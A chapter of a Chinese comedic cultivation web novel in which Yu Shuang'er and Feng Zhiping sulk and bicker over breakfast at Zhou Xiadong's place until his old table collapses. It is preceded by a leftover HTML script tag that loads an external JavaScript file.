<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
前一日拿剑逼着某人次日开始带自己“体验生活”,而且要完整体验,从正大门摆摊开始,尤双儿激动坏了,几乎一夜未睡,次日天不亮就赶到大门口。
左等右等等不着人,极度怀疑某人又欠揍了敢放自己鸽子,提着剑气势汹汹的杀上门,没等开骂,就见某人蒸透了的蔫儿茄子似的趴在桌上,对面的周夏冬举着个包子递到嘴边满眼担忧的劝他吃上一口。
不等女孩发问,封知平就懒洋洋的丢来“一本”,用半死不活的语调把事情说了一通。
尤双儿当场就木了,好半天,桌前又多了一根蔫儿了吧唧的熟茄子。
封知平不开心,她更不开心,她感觉自己就是个悲剧。
当初封知平说带她去欺负人耍乐,结果出师不利,第一次行动就被人给欺负了,后来好不容易有了个抖威风的机会,封知平偏偏又没叫她。
再之后回家笄礼,一去就是半年,封知平在这半年里混得风生水起,风头劲得能吹动点苍峰,甚至得了个“夺器狂魔”的绰号。
虽说被人歪曲成“妻魔”很不好听,但总归是别人赠的,比自己取的更有意义更得人心,尤双儿羡慕坏了,翻来覆去的想如果自己没回家而是跟着一起,现在也肯定名震点苍,成为一位家喻户晓的女侠(封知平得知后坚持认为是女魔头,还别有用心的起了个“一夫狂魔”,声称是一夫当关的意思,简称“夫魔”,被某女教训了一顿后才不得不改口)。
现在,女侠没戏了,自己又是内门弟子,哪个外门弟子吃饱了撑的敢跟自己玩决斗,顶多是点到为止的切磋,那又怎能展现出自己的威风?
其实封知平认为尤双儿才是吃饱了撑的,只要她肯,把韩仙子爱徒的身份往外一报,同辈的弟子里谁有她威风?
可她偏不,非得学着话本里的桥段自己打出一片天地,这不是吃饱了撑的是什么?
不过独郁郁不如众郁郁,能有个人陪着郁闷,封知平的心情着实好了不少,包子都吃了两个。
砰!
“不能就这么算了!”
尤双儿一巴掌拍在桌子上,震得碟碗狠狠一蹦,封知平刚递到嘴边的包子差点吓掉,周夏冬...冬哥只剩捂胸口了,眼睛都不敢看桌子腿,心里一个劲的大骂这俩人都什么毛病。
活动了下险些闪脱臼的下巴,封知平郁闷的问道:“不算能怎么办,你还能杀到主峰去逼着宗主下令改回门规?”
尤双儿一瞪眼:“你怎么这么笨?这么愚蠢的法子还敢往外说,不嫌丢人?”
封知平眼睛一亮,谄笑凑近:“你有办法?说来听听!”
尤双儿哼了一声,把头一昂:“没有!”
封知平狠狠闪了一下,险些把包子糊她脸上:“没有你嘚瑟个屁!叫这么大声,我还以为你有主意呢!”
尤双儿理直气壮:“我有没有主意跟嘲不嘲笑你有关系吗?再说这本就不是我该考虑的问题,是你当初说带我去‘玩’的,现在没得玩了,不,是我根本没玩上,你该负责!”
“我...!”
封知平霍然起身撸起袖子,尤双儿也一手按着桌面一手摸上剑柄。
周夏冬吓了一跳,赶紧将封知平按下:“好了好了,大清早的哪来这么大火气,说两句各退一步就得了,双儿妹子也是替你着急不是。”
封知平郁闷的坐下,跟尤双儿对了一眼,同时哼了一声别开头不看对方。
周夏冬暗暗好笑,心道这俩人不见面想一见面就掐,整一对活冤家。
再看自己的桌子,又心疼起来,心说这桌子够呛救得回了,下次换一定得换结实又便宜的,不能再这么穷讲究了。
叫进三宝让再上一碗粥,周夏冬亲自端到尤双儿面前,堆着笑脸东拉西扯的开始和稀泥。
尤双儿对周夏冬的印象不错,又是封知平难得真心尊敬的人,也不推辞,落落大方的接过含笑致谢,拿起汤勺一小口一小口的吃着,斯文的样子看得周夏冬暗暗点头,心里反复念叨了十几遍女大十八变,才几个月就变化这么多,自个儿也不好意思狼吞虎咽,跟着一起细嚼慢咽。
封知平三口一个大肉包吃了七八个,一瞧左右,女的才咬了小半边,男的竟也一个都没吃完,谈笑甚欢就跟自己不在似的,顿时心里来气。
“干嘛呢?你俩唱戏呢?要演院里去,别这儿扰人胃口!”
“你再说一遍!”
大半个包子飞了过来,剑也出鞘半截。
周夏冬心里一哆嗦,赶紧暧昧的瞥了眼封知平:“妹子别生气,他是吃醋了。”
尤双儿顿时脸红低头,封知平也老脸一辣,旋即便不善的看向周夏冬,用眼神说“你不挑明能死啊,知不知道很让人尴尬啊”。
周夏冬含笑回望,眼睛飞快的瞥了下桌子,用眼神说“我也不想,但你们尴尬总比毁我一张桌子强,哥哥我攒点家当容易吗我”。
两人大眼瞪小眼,三宝突然飞跑了进来,怀里抱着三个小碟一个小瓦罐,邀功似的往桌上重重一放,。
“醋来啦!怕你们不够,我...呃?”
哗啦一声,苟延残喘的老梨花木圆桌再也支撑不住,桌面一些倒在地上。
四人都木了,好半天三宝才反应过来,第一时间拔腿就跑。
“不是我干的,是它自己坏的!”